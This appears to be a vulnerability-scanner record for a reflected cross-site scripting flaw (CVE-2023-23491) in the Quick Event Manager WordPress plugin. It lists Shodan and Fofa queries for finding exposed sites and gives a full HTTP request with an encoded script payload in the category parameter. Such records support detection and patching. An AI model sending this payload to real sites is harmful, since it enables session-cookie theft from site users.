| Title | Quick Event Manager < 9.7.5 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Unauthenticated attackers can inject malicious JavaScript through the category parameter in the qem_ajax_calendar action to steal WordPress user session cookies and execute attacks. |
| Remediation | Fixed in version 9.7.5 and above |
| CVSS Score | 6.1 |
| EPSS Score | 0.07588 |
| CVE ID | CVE-2023-23491 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/quick-event-manager |
| Fofa Query | body=/wp-content/plugins/quick-event-manager |
| Tags | cve2023 cve wordpress wp wp-plugin wpscan xss quick-event-manager fullworksplugins vuln |
The Quick Event Manager WordPress Plugin, version < 9.7.5, is affected by a reflected cross-site scripting vulnerability in the ‘category’ parameter of its ‘qem_ajax_calendar’ action.
GET /wp-admin/admin-ajax.php?action=qem_ajax_calendar&category=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Version/8.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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